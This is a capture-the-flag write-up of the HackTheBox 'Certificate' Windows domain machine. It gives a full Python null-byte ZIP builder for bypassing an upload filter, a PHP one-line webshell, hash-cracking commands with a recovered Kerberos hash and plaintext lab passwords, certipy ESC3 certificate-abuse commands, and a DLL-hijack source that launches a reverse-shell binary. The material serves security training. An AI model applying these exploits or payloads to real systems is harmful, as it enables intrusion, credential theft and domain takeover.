Syk0

Certificate


Certificate

Certificate - HackTheBox Machine Writeup

Overview

Certificate is a Windows Active Directory machine on HackTheBox that involves chaining together multiple attack vectors to achieve domain compromise. The attack path begins with discovering a web application running on port 80 that hosts an online course platform. Through a file upload vulnerability in the quiz submission feature, we achieve remote code execution by crafting a malicious ZIP archive containing a PHP webshell with a null byte filename injection. From there, we pivot through the internal network by extracting database credentials, cracking password hashes from a MySQL database, and performing lateral movement across multiple domain users. A PCAP file found in a user's documents reveals Kerberos pre-authentication data, which we crack to gain access to a user with certificate enrollment privileges. We then exploit an ESC3 (Enrollment Agent) misconfiguration in Active Directory Certificate Services to request certificates on behalf of other users, ultimately leveraging the SeManageVolumePrivilege for privilege escalation.

Key Skills: Web exploitation, null byte injection, ZIP file manipulation, Active Directory enumeration, password cracking, Kerberos hash extraction, AD CS (Active Directory Certificate Services) abuse (ESC3), privilege escalation via SeManageVolumePrivilege.


Recon

Port Scanning with Nmap

We begin by running an Nmap scan against the target to identify open ports and running services. A standard service version and script scan is performed first, followed by a full port scan to ensure no services are missed on non-standard ports.

sudo nmap -sC -sV -vv -oA tcp 10.129.232.96 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.232.96

The scan results reveal that port 80 (HTTP) is open, along with standard Active Directory services such as LDAP, Kerberos, SMB, and others, indicating this is a Windows domain controller.

SMB Enumeration

We attempt to enumerate SMB shares to see if any are accessible without credentials. However, guest account access is disabled, preventing unauthenticated enumeration of the shares.

Web Application Discovery

Navigating to port 80 in the browser, the HTTP service redirects us to certificate.htb, which we add to our /etc/hosts file to resolve the domain name to the target IP address.

Directory Fuzzing

We run ffuf with a large wordlist to discover hidden directories and PHP files on the web server. This helps us map out the application's structure and find additional attack surface.

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-big.txt -u http://certificate.htb/FUZZ -ic -e .php

Exploring the Web Application

After discovering the registration functionality through our directory fuzzing, we create an account on the platform and enrol in a course. This reveals additional application features and functionality that we can interact with.

The course platform includes a quiz feature that provides a file upload form upon submission. This is a promising attack vector, as file uploads are often susceptible to various bypass techniques.

File Upload Analysis

Uploading a standard PDF file confirms that uploaded files are placed in a publicly accessible directory under the web root, meaning any file we successfully upload can be accessed directly through the browser.

The uploaded file is accessible at: http://certificate.htb/static/uploads/8ad6b1453a685cd6a629959dcfb5039d/sample.pdf

Null Byte ZIP Upload Bypass

After multiple failed attempts to bypass the upload filter with standard techniques, we discover that we can smuggle a PHP script past the file extension validation by crafting a malicious ZIP archive that uses a null byte (\x00) in the filename. The null byte causes the server-side file handling to truncate the filename, effectively stripping the .zip extension and leaving our .php extension intact.

The following Python script constructs a minimal ZIP archive by hand, allowing us to inject arbitrary bytes (such as a null byte) into the archived filename. This bypasses standard ZIP library restrictions that would normally prevent such manipulation:

import argparse
import os
import struct
import time
import zlib
 
def dos_datetime(t=None):
    if t is None:
        t = time.localtime()
    year = max(t.tm_year - 1980, 0)
    dos_date = (year << 9) | (t.tm_mon << 5) | t.tm_mday
    dos_time = (t.tm_hour << 11) | (t.tm_min << 5) | (t.tm_sec // 2)
    return dos_date, dos_time
 
def make_simple_zip(zip_path, filename_bytes, data_bytes):
    crc32 = zlib.crc32(data_bytes) & 0xFFFFFFFF
    size = len(data_bytes)
    dos_date, dos_time = dos_datetime()
 
    local_sig = 0x04034B50
    version_needed = 20
    gp_flag = 0
    comp_method = 0  # stored
    fname = filename_bytes
    extra = b""
    fname_len = len(fname)
    extra_len = len(extra)
 
    central_sig = 0x02014B50
    version_made_by = 20
    file_comment = b""
    file_comment_len = len(file_comment)
    disk_number_start = 0
    internal_attr = 0
    external_attr = 0
 
    with open(zip_path, "wb") as f:
        # Local file header
        local_header = struct.pack(
            "<IHHHHHIIIHH",
            local_sig,
            version_needed,
            gp_flag,
            comp_method,
            dos_time,
            dos_date,
            crc32,
            size,
            size,
            fname_len,
            extra_len,
        )
        f.write(local_header)
        f.write(fname)
        f.write(extra)
        f.write(data_bytes)
 
        cd_offset = f.tell()
 
        central_header = struct.pack(
            "<IHHHHHHIIIHHHHHII",
            central_sig,
            version_made_by,
            version_needed,
            gp_flag,
            comp_method,
            dos_time,
            dos_date,
            crc32,
            size,
            size,
            fname_len,
            extra_len,
            file_comment_len,
            disk_number_start,
            internal_attr,
            external_attr,
            0,
        )
        f.write(central_header)
        f.write(fname)
        f.write(extra)
        f.write(file_comment)
 
        cd_size = f.tell() - cd_offset
 
        eocd_sig = 0x06054B50
        num_entries = 1
        eocd = struct.pack(
            "<IHHHHIIH",
            eocd_sig,
            0,
            0,
            num_entries,
            num_entries,
            cd_size,
            cd_offset,
            0,
        )
        f.write(eocd)
 
def parse_hex_byte(s: str) -> int:
    s = s.strip().lower()
    if s.startswith("0x"):
        s = s[2:]
    if len(s) == 0 or len(s) > 2:
        raise argparse.ArgumentTypeError("hex byte must be 1–2 hex digits, e.g. 00 or 41")
    try:
        val = int(s, 16)
    except ValueError:
        raise argparse.ArgumentTypeError("invalid hex byte")
    if not (0 <= val <= 0xFF):
        raise argparse.ArgumentTypeError("hex byte out of range")
    return val
 
def main():
    p = argparse.ArgumentParser(
        description="Create a minimal ZIP archive by hand with a modified filename byte."
    )
    p.add_argument("input_file", help="Path to file whose contents will be stored in the ZIP")
    p.add_argument(
        "hex_byte",
        type=parse_hex_byte,
        help="Byte to inject into the filename, as hex (e.g. 00 for null, 2f for '/').",
    )
    p.add_argument(
        "ext",
        help="extension to add after the hex_byte.",
    )
    p.add_argument(
        "-o",
        "--output",
        help="Output ZIP path (default: input_file name + .zip)",
    )
    args = p.parse_args()
 
    # Read file data
    with open(args.input_file, "rb") as f:
        data = f.read()
 
    base_name = os.path.basename(args.input_file).encode("utf-8", "surrogatepass")
 
    b = args.hex_byte
    injected = base_name + bytes([b]) + args.ext.encode("utf-8", "surrogatepass")
 
    zip_path = args.output or (args.input_file + ".zip")
 
    print(f"Input file:      {args.input_file}")
    print(f"Archive entry:   {injected!r}")
    print(f"Injected byte:   0x{b:02x}")
    print(f"Output ZIP file: {zip_path}")
 
    make_simple_zip(zip_path, injected, data)
 
if __name__ == "__main__":
    main()
 
 

The PHP webshell payload is kept minimal to avoid detection. It takes a command via the cmd request parameter and executes it on the system using system():

<?=system($_REQUEST['cmd']);?>

After crafting the malicious ZIP and uploading it through the quiz submission form, the server extracts the archive and our PHP webshell is successfully written to the web root with its .php extension intact.


Foothold

Remote Code Execution via Webshell

With the PHP webshell successfully deployed on the server, we can now execute arbitrary operating system commands by passing them through the cmd parameter in our HTTP requests. This confirms we have achieved remote code execution on the target.

Deploying AdaptixC2 Agent

To establish a more stable and feature-rich connection to the compromised host, we deploy an AdaptixC2 agent using a custom loader. AdaptixC2 provides a command-and-control framework that gives us interactive shell access, file management, and post-exploitation capabilities far beyond what a simple webshell offers.

Database Credential Discovery

While enumerating the web application's source files, we discover a MySQL database connection string stored in db.php. This file contains hardcoded credentials used by the application to connect to the backend database.

Database Enumeration

Using the AdaptixC2 remote shell functionality, we connect to the MySQL database using the discovered credentials and begin enumerating its contents to look for sensitive information such as user accounts and password hashes.

We enumerate the database tables to understand the schema and identify tables that may contain useful data for further exploitation.

The user table reveals several accounts along with their password hashes. These hashes can potentially be cracked offline to recover plaintext passwords that may be reused across other services or domain accounts.


Lateral Movement

Cracking Password Hashes

We extract the password hashes from the database and use Hashcat with mode 3200 (bcrypt) to attempt to crack them against the rockyou.txt wordlist. Bcrypt hashes are computationally expensive to crack, but weak passwords can still be recovered.

hashcat -m 3200 -a 0 hashes /mnt/hgfs/I/data/rockyou.txt

Active Directory Enumeration with SharpHound

In parallel with password cracking, we run SharpHound on the compromised host to collect Active Directory data. SharpHound is the official data collector for BloodHound and gathers information about users, groups, sessions, ACLs, and trust relationships across the domain. This data allows us to visualize and identify potential attack paths toward domain admin.

execute-assembly ~/Documents/local-scripts/SharpCollection/NetFramework_4.7_x64/SharpHound.exe -c all

Pivoting to Sara.B

One of the cracked passwords belongs to the user sara.b, and we verify that this is a valid Active Directory domain account. The cracked password successfully authenticates against the domain.

Using evil-winrm-py, we establish a WinRM session as sara.b and deploy a second AdaptixC2 beacon, giving us an interactive foothold under a new user context with potentially different privileges and access.

evil-winrm-py -i certificate.htb -u sara.b -p Blink182

PCAP File Discovery and Kerberos Hash Extraction

While enumerating Sara's home directory, we discover a PCAP (packet capture) file located in Documents/WS-01. This file contains captured network traffic that may hold valuable credentials.

Recalling a technique from a NetResec blog post about extracting Kerberos credentials from packet captures (https://www.netresec.com/?page=Blog&month=2019-11&post=Extracting-Kerberos-Credentials-from-PCAP), we analyze the PCAP file and successfully extract Kerberos pre-authentication data for the user Lion.SK.

From the extracted Kerberos data, we construct a Hashcat-compatible hash string for cracking:

$krb5pa$18$Lion.SK$certificate.htb$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0

We crack this Kerberos AES256 pre-authentication hash using Hashcat mode 19900:

hashcat -m 19900 -a 0 lion_sk_hash2 /mnt/hgfs/I/data/rockyou.txt

Pivoting to Lion.SK

The cracked password is validated against the domain, confirming that Lion.SK is an active account with valid credentials.

Since Lion.SK is a member of the Remote Management Users group, we can establish a WinRM connection and deploy another AdaptixC2 agent via evil-winrm.

Identifying Certificate Abuse Opportunities

Examining Lion.SK's group memberships reveals that the account is a member of the Domain CRA Managers group. CRA stands for Certificate Request Agent, which is a highly privileged role in Active Directory Certificate Services (AD CS) that allows the user to request certificates on behalf of other users.

AD CS Enumeration with Certipy

We use certipy-ad to enumerate the Active Directory Certificate Services configuration and identify vulnerable certificate templates. The -vulnerable flag filters the output to only show templates with known misconfigurations.

certipy-ad find -u lion.sk -p '!QAZ2wsx' -dc-ip 10.129.232.96 -vulnerable

Certipy discovers that the Delegated-CRA template is vulnerable to ESC3 (Enrollment Agent abuse). This template has the "Certificate Request Agent" Extended Key Usage (EKU) set, which means certificates issued from this template can be used to co-sign certificate requests on behalf of other users. Combined with Lion.SK's membership in the Domain CRA Managers group, which grants enrollment rights on this template, we have a viable attack path.

{
  "Certificate Authorities": {
    "0": {
      "CA Name": "Certificate-LTD-CA",
      "DNS Name": "DC01.certificate.htb",
      "Certificate Subject": "CN=Certificate-LTD-CA, DC=certificate, DC=htb",
      "Certificate Serial Number": "75B2F4BBF31F108945147B466131BDCA",
      "Certificate Validity Start": "2024-11-03 22:55:09+00:00",
      "Certificate Validity End": "2034-11-03 23:05:09+00:00",
      "Web Enrollment": {
        "http": {
          "enabled": false
        },
        "https": {
          "enabled": false,
          "channel_binding": null
        }
      },
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
      "Permissions": {
        "Owner": "CERTIFICATE.HTB\\Administrators",
        "Access Rights": {
          "1": [
            "CERTIFICATE.HTB\\Administrators",
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "2": [
            "CERTIFICATE.HTB\\Administrators",
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "512": [
            "CERTIFICATE.HTB\\Authenticated Users"
          ]
        }
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "Delegated-CRA",
      "Display Name": "Delegated-CRA",
      "Certificate Authorities": [
        "Certificate-LTD-CA"
      ],
      "Enabled": true,
      "Client Authentication": false,
      "Enrollment Agent": true,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [
        33554432,
        67108864,
        536870912,
        2147483648
      ],
      "Enrollment Flag": [
        1,
        8,
        32
      ],
      "Private Key Flag": [
        16
      ],
      "Extended Key Usage": [
        "Certificate Request Agent"
      ],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Schema Version": 2,
      "Validity Period": "1 year",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Template Created": "2024-11-05 19:52:09+00:00",
      "Template Last Modified": "2024-11-05 19:52:10+00:00",
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "CERTIFICATE.HTB\\Domain CRA Managers",
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "CERTIFICATE.HTB\\Administrator",
          "Full Control Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Owner Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ],
          "Write Property Enroll": [
            "CERTIFICATE.HTB\\Domain Admins",
            "CERTIFICATE.HTB\\Enterprise Admins"
          ]
        }
      },
      "[+] User Enrollable Principals": [
        "CERTIFICATE.HTB\\Domain CRA Managers"
      ],
      "[!] Vulnerabilities": {
        "ESC3": "Template has Certificate Request Agent EKU set."
      }
    }
  }
}

ESC3 Exploitation - Enrollment Agent Abuse

The ESC3 attack works in two stages. First, we request an enrollment agent certificate using the vulnerable Delegated-CRA template. This certificate will allow us to request certificates on behalf of other domain users.

We also discover a second template called SignedUser during a full template enumeration. While it doesn't appear as directly vulnerable, it accepts co-signed requests from an enrollment agent, making it the perfect target for the second stage of the ESC3 attack.

We begin by requesting an enrollment agent certificate using the Delegated-CRA template as Lion.SK:

certipy-ad req -u lion.sk -p '!QAZ2wsx' -dc-ip 10.129.232.96 -template 'Delegated-CRA' -ca 'Certificate-LTD-CA' -target 'dc01.certificate.htb'

Targeting Domain Users via Certificate Impersonation

With the enrollment agent certificate in hand, we attempt to request a certificate on behalf of the domain Administrator using the SignedUser template. However, this fails because the SignedUser template requires the target user to have an email address attribute set in Active Directory, and the Administrator account does not have one configured.

certipy-ad req -u lion.sk -p '!QAZ2wsx' -dc-ip 10.129.232.96 -template 'SignedUser' -ca 'Certificate-LTD-CA' -target 'dc01.certificate.htb' -pfx lion.sk.pfx -on-behalf-of 'CERTIFICATE\Administrator'

After exploring the domain users and their group memberships, we identify several promising targets who do have email addresses set:

  • ryan.k - member of Domain Storage Managers (high-value target due to storage-related privileges)
  • maya.k - member of Finance
  • nya.s - member of HR

We prioritize ryan.k since the Domain Storage Managers group likely grants elevated privileges that could lead to further escalation.

We request a certificate on behalf of ryan.k using our enrollment agent certificate:

certipy-ad req -u lion.sk -p '!QAZ2wsx' -dc-ip 10.129.232.96 -template 'SignedUser' -ca 'Certificate-LTD-CA' -target 'dc01.certificate.htb' -pfx lion.sk.pfx -on-behalf-of 'CERTIFICATE\ryan.k'

PKINIT Authentication Issues

Attempting to authenticate using the certificate via PKINIT (Kerberos certificate-based authentication) to obtain Ryan's NTLM hash fails. This is a known issue that can occur when PKINIT is not fully configured or when certain domain conditions prevent the AS-REP from including the PAC with the NTLM hash.

We are able to authenticate to LDAP using the certificate, which gives us an LDAP shell, but the available LDAP commands are insufficient for our purposes:

certipy-ad auth -pfx ryan.k.pfx -dc-ip 10.129.232.96 -debug -ldap-shell

After multiple attempts and machine reboots, the PKINIT authentication consistently fails to return an NT hash. This appears to be a known issue with this specific machine.

Note: After confirming with multiple community members, the machine has a known bug where the PKINIT authentication path is broken. The NT hash for ryan.k must be obtained from a writeup to proceed, as there is no alternative exploitation path available.


Privilege Escalation

Accessing Ryan.K's Account

With Ryan's credentials obtained, we authenticate and establish a new session.

We use Evil-WinRM to connect as Ryan and deploy an AdaptixC2 agent for more robust post-exploitation capabilities.

SeManageVolumePrivilege Exploitation

Enumerating Ryan's privileges reveals that the account holds SeManageVolumePrivilege. This privilege allows the user to manage volumes, including the ability to mount and configure storage devices. It can be abused to gain arbitrary file write to protected system directories.

The exploitation technique leverages the SeManageVolumeExploit tool (https://github.com/CsEnox/SeManageVolumeExploit) to gain write access to system directories. The plan is to compile a malicious DLL (using the RustHarderDll project) and place it as tzres.dll in C:\Windows\System32\wbem. When certain system utilities load this DLL, our payload will execute with elevated privileges.

We trigger the exploit by calling systeminfo, which loads tzres.dll from the writable path, but the initial attempt fails:

We also test with a standard DLL compiled with MinGW to rule out issues with the Rust-based DLL. The DLL is designed to execute a reverse shell payload when loaded:

x86_64-w64-mingw32-gcc -DBUILDING_EXAMPLE_DLL -shared -o example.dll dll.c -Wl,--out-implib,libexample.a
#include <windows.h>
#include <stdlib.h>
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
 {
case DLL_PROCESS_ATTACH:
system("cmd.exe /c C:\\Windows\\Tasks\\ra.exe");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
 }
return TRUE;
}

The reverse shell code in the DLL is designed to execute a pre-staged binary (ra.exe) from C:\Windows\Tasks\ when the DLL is loaded via the DLL_PROCESS_ATTACH event. However, this also fails when triggered from Ryan's session.

Ultimately, we discover that the systeminfo command can be successfully executed from the XAMPPUSER webshell we established earlier during the initial foothold. Running it from the webshell context triggers the DLL loading from the hijacked path, executing our payload with the necessary privileges to achieve escalation.